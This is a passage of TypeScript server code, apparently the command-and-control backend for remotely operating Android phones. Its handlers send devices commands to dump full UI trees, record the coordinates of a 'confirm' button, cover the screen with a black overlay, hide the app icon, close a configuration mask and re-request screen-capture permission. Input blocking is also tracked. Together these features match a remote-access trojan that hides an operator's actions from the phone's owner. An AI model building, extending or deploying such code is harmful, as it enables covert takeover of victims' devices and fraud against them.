||
success: false,
|
||
message: '设备不在线或不存在'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 获取设备Socket并发送UI分析请求
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||
this.logger.info(`🔍 设备 ${deviceId} 的Socket ID: ${deviceSocketId}`)
|
||
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||
this.logger.info(`🔍 Socket连接状态: ${deviceSocket ? '已连接' : '未找到'}`)
|
||
|
||
if (deviceSocket) {
|
||
// 向设备发送UI分析请求 - 默认启用所有增强功能
|
||
const requestPayload = {
|
||
requestId: `ui_${Date.now()}`,
|
||
clientId: clientId,
|
||
includeInvisible: requestData.includeInvisible !== false, // 默认true
|
||
includeNonInteractive: requestData.includeNonInteractive !== false, // 默认true
|
||
maxDepth: requestData.maxDepth || 25, // 默认增加到25层
|
||
enhanced: true, // 默认启用增强功能
|
||
includeDeviceInfo: true // 默认包含设备信息
|
||
}
|
||
|
||
this.logger.info(`📤 准备发送UI分析请求(增强模式): ${JSON.stringify(requestPayload)}`)
|
||
deviceSocket.emit('ui_hierarchy_request', requestPayload)
|
||
|
||
this.logger.info(`📤 已向设备 ${deviceId} 发送UI层次结构分析请求(增强模式)`)
|
||
return true
|
||
}
|
||
}
|
||
|
||
this.logger.error(`无法找到设备 ${deviceId} 的Socket连接`)
|
||
this.webClientManager.sendToClient(clientId, 'ui_hierarchy_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备连接已断开'
|
||
})
|
||
return false
|
||
|
||
} catch (error) {
|
||
this.logger.error(`获取UI层次结构失败: ${deviceId}`, error)
|
||
this.webClientManager.sendToClient(clientId, 'ui_hierarchy_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: `分析失败: ${error instanceof Error ? error.message : '未知错误'}`
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 处理设备UI层次结构响应
|
||
*/
|
||
private handleUIHierarchyResponse(deviceId: string, hierarchyData: any): void {
|
||
try {
|
||
this.logger.info(`📱 收到设备 ${deviceId} 的UI层次结构响应`)
|
||
this.logger.info(`📋 响应数据详情: clientId=${hierarchyData.clientId}, success=${hierarchyData.success}, hierarchy类型=${typeof hierarchyData.hierarchy}`)
|
||
|
||
// 转发给请求的客户端
|
||
if (hierarchyData.clientId) {
|
||
const responseData = {
|
||
deviceId,
|
||
success: hierarchyData.success || true,
|
||
hierarchy: hierarchyData.hierarchy,
|
||
timestamp: Date.now(),
|
||
enhanced: hierarchyData.enhanced || false, // ✅ 传递增强标识
|
||
deviceCharacteristics: hierarchyData.deviceCharacteristics, // ✅ 传递设备特征
|
||
analysisMetadata: hierarchyData.analysisMetadata // ✅ 传递分析元数据
|
||
}
|
||
|
||
this.logger.info(`📤 准备转发给客户端 ${hierarchyData.clientId}, 数据大小: ${JSON.stringify(responseData).length} 字符`)
|
||
|
||
this.webClientManager.sendToClient(hierarchyData.clientId, 'ui_hierarchy_response', responseData)
|
||
this.logger.info(`✅ 已将UI层次结构转发给客户端: ${hierarchyData.clientId}${hierarchyData.enhanced ? '(增强版)' : ''}`)
|
||
} else {
|
||
this.logger.warn(`⚠️ 响应数据中缺少clientId字段,无法转发`)
|
||
|
||
// 广播给所有客户端
|
||
this.webClientManager.broadcastToAll('ui_hierarchy_response', {
|
||
deviceId,
|
||
success: hierarchyData.success || true,
|
||
hierarchy: hierarchyData.hierarchy,
|
||
timestamp: Date.now()
|
||
})
|
||
this.logger.info(`📤 已广播UI层次结构给所有客户端`)
|
||
}
|
||
|
||
} catch (error) {
|
||
this.logger.error(`处理UI层次结构响应失败: ${deviceId}`, error)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 路由UI层次结构响应(从设备到Web客户端)- 参考routeScreenData的模式
|
||
*/
|
||
routeUIHierarchyResponse(fromSocketId: string, hierarchyData: any): boolean {
|
||
try {
|
||
this.logger.info(`🔍 处理UI层次结构响应: Socket ${fromSocketId}`)
|
||
|
||
// 首先尝试从DeviceManager获取设备信息
|
||
let device = this.deviceManager.getDeviceBySocketId(fromSocketId)
|
||
|
||
if (!device) {
|
||
this.logger.warn(`⚠️ 找不到设备,尝试从数据库恢复: ${fromSocketId}`)
|
||
// ✅ 参考routeScreenData:立即尝试从数据库恢复设备
|
||
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId)
|
||
if (dbDevice) {
|
||
// ✅ 获取设备状态信息
|
||
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId)
|
||
|
||
device = {
|
||
id: dbDevice.deviceId,
|
||
socketId: fromSocketId,
|
||
name: dbDevice.deviceName,
|
||
model: dbDevice.deviceModel,
|
||
osVersion: dbDevice.osVersion,
|
||
appVersion: dbDevice.appVersion,
|
||
screenWidth: dbDevice.screenWidth,
|
||
screenHeight: dbDevice.screenHeight,
|
||
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
|
||
connectedAt: new Date(),
|
||
lastSeen: new Date(),
|
||
status: 'online' as const,
|
||
inputBlocked: deviceState?.inputBlocked || false,
|
||
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
|
||
remark: (dbDevice as any).remark // 🆕 恢复设备备注
|
||
}
|
||
|
||
// 将恢复的设备添加到DeviceManager中
|
||
this.deviceManager.addDevice(device)
|
||
this.logger.info(`✅ 从数据库恢复设备: ${device.name} (${device.id})`)
|
||
|
||
// ✅ 关键修复:更新数据库中的设备记录(特别是lastSocketId)
|
||
try {
|
||
const deviceForDb = {
|
||
deviceId: device.id,
|
||
deviceName: device.name,
|
||
deviceModel: device.model,
|
||
osVersion: device.osVersion,
|
||
appVersion: device.appVersion,
|
||
screenWidth: device.screenWidth,
|
||
screenHeight: device.screenHeight,
|
||
capabilities: device.capabilities
|
||
}
|
||
this.databaseService.saveDevice(deviceForDb, fromSocketId)
|
||
} catch (dbError) {
|
||
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError)
|
||
}
|
||
|
||
// ✅ 关键修复:UI响应时设备恢复后,立即通知Web端设备在线
|
||
this.logger.info(`✅ 设备UI响应恢复成功: ${device.name},立即通知Web端设备在线`)
|
||
|
||
// 立即广播设备连接事件给所有Web客户端
|
||
this.webClientManager.broadcastToAll('device_connected', device)
|
||
|
||
// 同时广播设备状态更新
|
||
this.webClientManager.broadcastToAll('device_status_update', {
|
||
deviceId: device.id,
|
||
status: {
|
||
online: true,
|
||
connected: true,
|
||
lastSeen: Date.now(),
|
||
inputBlocked: device.inputBlocked || false
|
||
}
|
||
})
|
||
|
||
// ✅ 同步设备状态到设备端(如输入阻塞状态)
|
||
if (deviceState) {
|
||
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState)
|
||
}
|
||
} else {
|
||
// 尝试从响应数据中获取deviceId进行处理
|
||
const deviceId = hierarchyData?.deviceId
|
||
if (deviceId) {
|
||
this.logger.warn(`⚠️ 数据库中也找不到设备,但响应包含deviceId: ${deviceId},尝试直接处理`)
|
||
this.handleUIHierarchyResponse(deviceId, hierarchyData)
|
||
return true
|
||
} else {
|
||
this.logger.error(`❌ 无法找到设备且响应数据中没有deviceId: ${fromSocketId}`)
|
||
return false
|
||
}
|
||
}
|
||
}
|
||
|
||
// 确保device不为undefined
|
||
if (!device) {
|
||
this.logger.error(`❌ 设备恢复失败: ${fromSocketId}`)
|
||
return false
|
||
}
|
||
|
||
this.logger.info(`✅ 找到设备: ${device.name} (${device.id}),处理UI层次结构响应`)
|
||
|
||
// 直接处理UI层次结构响应
|
||
this.handleUIHierarchyResponse(device.id, hierarchyData)
|
||
|
||
return true
|
||
|
||
} catch (error) {
|
||
this.logger.error('路由UI层次结构响应失败:', error)
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🆕 处理开始提取确认坐标的请求
|
||
*/
|
||
private handleStartExtractConfirmCoords(clientId: string, deviceId: string): boolean {
|
||
try {
|
||
this.logger.info(`🎯 开始提取确认坐标模式: 客户端=${clientId}, 设备=${deviceId}`)
|
||
|
||
// 向所有连接的客户端广播提取模式开始事件(主要是屏幕阅读器组件)
|
||
this.webClientManager.broadcastToAll('start_extract_confirm_coords', {
|
||
deviceId,
|
||
clientId
|
||
})
|
||
|
||
this.logger.info(`✅ 确认坐标提取模式已启动: ${deviceId}`)
|
||
return true
|
||
} catch (error) {
|
||
this.logger.error('启动确认坐标提取模式失败:', error)
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🆕 处理保存确认坐标的请求
|
||
*/
|
||
private handleSaveConfirmCoords(clientId: string, deviceId: string, coords: { x: number, y: number }): boolean {
|
||
try {
|
||
this.logger.info(`💾 保存确认坐标: 客户端=${clientId}, 设备=${deviceId}, 坐标=(${coords.x}, ${coords.y})`)
|
||
|
||
// 验证坐标数据
|
||
if (!coords || typeof coords.x !== 'number' || typeof coords.y !== 'number') {
|
||
this.logger.error('❌ 无效的坐标数据:', coords)
|
||
this.webClientManager.sendToClient(clientId, 'save_confirm_coords_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '无效的坐标数据'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 保存到数据库
|
||
this.databaseService.saveConfirmButtonCoords(deviceId, coords)
|
||
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'save_confirm_coords_response', {
|
||
deviceId,
|
||
success: true,
|
||
coords,
|
||
message: '确认坐标已保存'
|
||
})
|
||
|
||
// 向所有客户端广播坐标已更新(用于实时更新UI显示)
|
||
this.webClientManager.broadcastToAll('confirm_coords_updated', {
|
||
deviceId,
|
||
coords
|
||
})
|
||
|
||
this.logger.info(`✅ 确认坐标已保存: ${deviceId} -> (${coords.x}, ${coords.y})`)
|
||
return true
|
||
} catch (error) {
|
||
this.logger.error('保存确认坐标失败:', error)
|
||
this.webClientManager.sendToClient(clientId, 'save_confirm_coords_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '保存失败: ' + (error as Error).message
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🆕 处理启用黑屏遮盖的请求
|
||
*/
|
||
private handleEnableBlackScreen(clientId: string, deviceId: string): boolean {
|
||
try {
|
||
this.logger.info(`🖤 启用黑屏遮盖: 客户端=${clientId}, 设备=${deviceId}`)
|
||
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId)
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
|
||
deviceId,
|
||
success: false,
|
||
isActive: false,
|
||
message: '设备已离线或不存在'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
|
||
deviceId,
|
||
success: false,
|
||
isActive: false,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 向设备发送启用黑屏遮盖的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'ENABLE_BLACK_SCREEN',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
})
|
||
|
||
// 🆕 保存黑屏状态到数据库
|
||
this.databaseService.updateDeviceBlackScreenActive(deviceId, true)
|
||
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
|
||
deviceId,
|
||
success: true,
|
||
isActive: true,
|
||
message: '黑屏遮盖已启用'
|
||
})
|
||
|
||
this.logger.info(`✅ 黑屏遮盖启用命令已发送: ${deviceId}`)
|
||
return true
|
||
}
|
||
}
|
||
|
||
this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
|
||
deviceId,
|
||
success: false,
|
||
isActive: false,
|
||
message: '设备连接已断开'
|
||
})
|
||
return false
|
||
|
||
} catch (error) {
|
||
this.logger.error('启用黑屏遮盖失败:', error)
|
||
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
|
||
deviceId,
|
||
success: false,
|
||
isActive: false,
|
||
message: '启用失败: ' + (error as Error).message
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🆕 处理取消黑屏遮盖的请求
|
||
*/
|
||
private handleDisableBlackScreen(clientId: string, deviceId: string): boolean {
|
||
try {
|
||
this.logger.info(`🖤 取消黑屏遮盖: 客户端=${clientId}, 设备=${deviceId}`)
|
||
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId)
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
|
||
deviceId,
|
||
success: false,
|
||
isActive: false,
|
||
message: '设备已离线或不存在'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
|
||
deviceId,
|
||
success: false,
|
||
isActive: true,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 向设备发送取消黑屏遮盖的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'DISABLE_BLACK_SCREEN',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
})
|
||
|
||
// 🆕 保存黑屏状态到数据库
|
||
this.databaseService.updateDeviceBlackScreenActive(deviceId, false)
|
||
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
|
||
deviceId,
|
||
success: true,
|
||
isActive: false,
|
||
message: '黑屏遮盖已取消'
|
||
})
|
||
|
||
this.logger.info(`✅ 黑屏遮盖取消命令已发送: ${deviceId}`)
|
||
return true
|
||
}
|
||
}
|
||
|
||
this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
|
||
deviceId,
|
||
success: false,
|
||
isActive: true,
|
||
message: '设备连接已断开'
|
||
})
|
||
return false
|
||
|
||
} catch (error) {
|
||
this.logger.error('取消黑屏遮盖失败:', error)
|
||
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
|
||
deviceId,
|
||
success: false,
|
||
isActive: true,
|
||
message: '取消失败: ' + (error as Error).message
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🆕 处理打开应用设置的请求
|
||
*/
|
||
private handleOpenAppSettings(clientId: string, deviceId: string): boolean {
|
||
try {
|
||
this.logger.info(`⚙️ 打开应用设置: 客户端=${clientId}, 设备=${deviceId}`)
|
||
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId)
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'app_settings_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备已离线或不存在'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'app_settings_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 向设备发送打开应用设置的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'OPEN_APP_SETTINGS',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
})
|
||
|
||
this.logger.info(`✅ 已发送打开应用设置命令到设备 ${deviceId}`)
|
||
|
||
// 向客户端发送响应
|
||
this.webClientManager.sendToClient(clientId, 'app_settings_response', {
|
||
deviceId,
|
||
success: true,
|
||
message: '打开应用设置命令已发送'
|
||
})
|
||
|
||
return true
|
||
}
|
||
}
|
||
|
||
this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`)
|
||
this.webClientManager.sendToClient(clientId, 'app_settings_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备连接已断开'
|
||
})
|
||
return false
|
||
|
||
} catch (error) {
|
||
this.logger.error(`打开应用设置失败:`, error)
|
||
this.webClientManager.sendToClient(clientId, 'app_settings_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '打开应用设置失败'
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🆕 处理隐藏应用的请求
|
||
*/
|
||
private handleHideApp(clientId: string, deviceId: string): boolean {
|
||
try {
|
||
this.logger.info(`📱 隐藏应用: 客户端=${clientId}, 设备=${deviceId}`)
|
||
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId)
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
|
||
deviceId,
|
||
success: false,
|
||
isHidden: false,
|
||
message: '设备已离线或不存在'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
|
||
deviceId,
|
||
success: false,
|
||
isHidden: false,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 向设备发送隐藏应用的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'HIDE_APP',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
})
|
||
|
||
// 🆕 保存应用隐藏状态到数据库
|
||
this.databaseService.updateDeviceAppHidden(deviceId, true)
|
||
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
|
||
deviceId,
|
||
success: true,
|
||
isHidden: true,
|
||
message: '应用已隐藏'
|
||
})
|
||
|
||
this.logger.info(`✅ 隐藏应用命令已发送: ${deviceId}`)
|
||
return true
|
||
}
|
||
}
|
||
|
||
this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
|
||
deviceId,
|
||
success: false,
|
||
isHidden: false,
|
||
message: '设备连接已断开'
|
||
})
|
||
return false
|
||
|
||
} catch (error) {
|
||
this.logger.error('隐藏应用失败:', error)
|
||
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
|
||
deviceId,
|
||
success: false,
|
||
isHidden: false,
|
||
message: '隐藏失败: ' + (error as Error).message
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🆕 处理应用隐藏状态更新(来自Android端的状态报告)
|
||
*/
|
||
private handleAppHideStatusUpdate(deviceId: string, eventData: any): boolean {
|
||
try {
|
||
this.logger.info(`📱 收到应用隐藏状态更新: 设备=${deviceId}, 数据=${JSON.stringify(eventData)}`)
|
||
|
||
const isHidden = eventData.isHidden
|
||
const message = eventData.message || '状态已更新'
|
||
const success = eventData.success
|
||
|
||
// 🆕 保存应用隐藏状态到数据库
|
||
this.databaseService.updateDeviceAppHidden(deviceId, isHidden)
|
||
|
||
// 广播状态更新到所有有控制权的Web客户端
|
||
const controllerId = this.webClientManager.getDeviceController(deviceId)
|
||
if (controllerId) {
|
||
this.webClientManager.sendToClient(controllerId, 'app_hide_response', {
|
||
deviceId,
|
||
success: success,
|
||
isHidden: isHidden,
|
||
message: message,
|
||
fromDevice: true // 标记这是来自设备端的状态报告
|
||
})
|
||
|
||
this.logger.info(`✅ 应用隐藏状态已广播到控制客户端: ${controllerId}`)
|
||
} else {
|
||
this.logger.debug(`📋 设备 ${deviceId} 当前无控制客户端,状态仅保存到数据库`)
|
||
}
|
||
|
||
// 也广播到所有客户端,用于状态同步
|
||
this.webClientManager.broadcastToAll('device_app_hide_status_changed', {
|
||
deviceId,
|
||
isHidden,
|
||
message,
|
||
timestamp: Date.now()
|
||
})
|
||
|
||
return true
|
||
|
||
} catch (error) {
|
||
this.logger.error('处理应用隐藏状态更新失败:', error)
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🆕 处理显示应用的请求
|
||
*/
|
||
private handleShowApp(clientId: string, deviceId: string): boolean {
|
||
try {
|
||
this.logger.info(`📱 显示应用: 客户端=${clientId}, 设备=${deviceId}`)
|
||
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId)
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
|
||
deviceId,
|
||
success: false,
|
||
isHidden: true,
|
||
message: '设备已离线或不存在'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
|
||
deviceId,
|
||
success: false,
|
||
isHidden: true,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 向设备发送显示应用的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'SHOW_APP',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
})
|
||
|
||
// 🆕 保存应用隐藏状态到数据库
|
||
this.databaseService.updateDeviceAppHidden(deviceId, false)
|
||
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
|
||
deviceId,
|
||
success: true,
|
||
isHidden: false,
|
||
message: '应用已显示'
|
||
})
|
||
|
||
this.logger.info(`✅ 显示应用命令已发送: ${deviceId}`)
|
||
return true
|
||
}
|
||
}
|
||
|
||
this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
|
||
deviceId,
|
||
success: false,
|
||
isHidden: true,
|
||
message: '设备连接已断开'
|
||
})
|
||
return false
|
||
|
||
} catch (error) {
|
||
this.logger.error('显示应用失败:', error)
|
||
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
|
||
deviceId,
|
||
success: false,
|
||
isHidden: true,
|
||
message: '显示失败: ' + (error as Error).message
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🆕 处理关闭配置遮盖的请求
|
||
*/
|
||
private handleCloseConfigMask(clientId: string, deviceId: string, manual: boolean = true): boolean {
|
||
try {
|
||
this.logger.info(`🛡️ 关闭配置遮盖: 客户端=${clientId}, 设备=${deviceId}, 手动=${manual}`)
|
||
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId)
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
|
||
// 注意:关闭配置遮盖使用permission_response事件而非专用响应事件
|
||
return false
|
||
}
|
||
|
||
// 🆕 特殊情况:关闭配置遮盖不需要控制权,因为配置遮盖通常在用户获取控制权之前显示
|
||
// 这是一个紧急操作,允许任何连接的客户端执行
|
||
|
||
// 向设备发送关闭配置遮盖的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'CLOSE_CONFIG_MASK',
|
||
deviceId,
|
||
data: {
|
||
manual: manual
|
||
},
|
||
timestamp: Date.now()
|
||
})
|
||
|
||
this.logger.info(`✅ 关闭配置遮盖命令已发送: ${deviceId}`)
|
||
return true
|
||
}
|
||
}
|
||
|
||
this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`)
|
||
return false
|
||
|
||
} catch (error) {
|
||
this.logger.error('关闭配置遮盖失败:', error)
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🆕 处理重新获取投屏权限请求
|
||
*/
|
||
private handleRefreshMediaProjectionPermission(clientId: string, deviceId: string): boolean {
|
||
try {
|
||
this.logger.info(`📺 重新获取投屏权限请求: 客户端=${clientId}, 设备=${deviceId}`)
|
||
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId)
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备已离线或不存在'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 向设备发送重新获取投屏权限的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'REFRESH_MEDIA_PROJECTION_PERMISSION',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
})
|
||
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
|
||
deviceId,
|
||
success: true,
|
||
message: '重新获取投屏权限命令已发送,请在设备上确认权限'
|
||
})
|
||
|
||
this.logger.info(`✅ 重新获取投屏权限命令已发送: ${deviceId}`)
|
||
return true
|
||
}
|
||
}
|
||
|
||
this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备连接已断开'
|
||
})
|
||
return false
|
||
|
||
} catch (error) {
|
||
this.logger.error('重新获取投屏权限失败:', error)
|
||
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '重新获取投屏权限失败: ' + (error as Error).message
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* Handle screen refresh request from Web client
|
||
* Sends REFRESH_SCREEN command to device to restart screen capture
|
||
*/
|
||
private handleRefreshScreen(clientId: string, deviceId: string): boolean {
|
||
try {
|
||
this.logger.info(`[RefreshScreen] Screen refresh request: client=${clientId}, device=${deviceId}`)
|
||
|
||
const device = this.deviceManager.getDevice(deviceId)
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`[RefreshScreen] Device offline: ${deviceId}`)
|
||
return false
|
||
}
|
||
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`[RefreshScreen] Client ${clientId} has no control over ${deviceId}`)
|
||
return false
|
||
}
|
||
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||
if (!deviceSocketId) {
|
||
this.logger.error(`[RefreshScreen] Device socket not found: ${deviceId}`)
|
||
return false
|
||
}
|
||
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||
if (!deviceSocket) {
|
||
this.logger.error(`[RefreshScreen] Device socket connection lost: ${deviceId}`)
|
||
return false
|
||
}
|
||
|
||
deviceSocket.emit('control_command', {
|
||
type: 'REFRESH_SCREEN',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
})
|
||
|
||
this.logger.info(`[RefreshScreen] Refresh command sent to device: ${deviceId}`)
|
||
return true
|
||
